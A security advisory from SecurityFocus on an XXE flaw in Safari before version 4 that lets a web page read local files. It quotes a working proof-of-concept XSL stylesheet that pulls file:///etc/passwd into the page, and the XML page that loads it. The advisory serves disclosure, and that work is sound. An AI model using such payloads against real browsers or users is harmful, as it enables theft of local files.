source: http://www.securityfocus.com/bid/35321/info

WebKit is prone to a remote information-disclosure vulnerability.

An attacker can exploit this issue to obtain sensitive information that may aid in further attacks.

NOTE: This issue was previously covered in BID 35260 (Apple Safari Prior to 4.0 Multiple Security Vulnerabilities), but has been assigned its own record to better document it. 

Safari prior to version 4 may permit an evil web page to steal files
from the local system.

This is accomplished by mounting an XXE attack against the parsing of
the XSL XML. This is best explained with a sample evil XSL file which
includes a DTD that attempts the XXE attack:

<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/passwd"> ] >
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
  <body>
Below you should see the content of a local file, stolen by this evil web page.
<p/>
&ent;
<script>
alert(document.body.innerHTML);
</script>
  </body>
  </html>
</xsl:template>
</xsl:stylesheet>

To mount the attack, the attacker would serve a web page which has XML
MIME type and requests to be styled by the evil stylesheet:

<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="safaristealfilebug.xsl"?>
<xml>
irrelevant
</xml>

Full technical details: http://scary.beasts.org/security/CESA-2009-006.html

Blog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html
(includes 1-click demos)

Cheers
Chris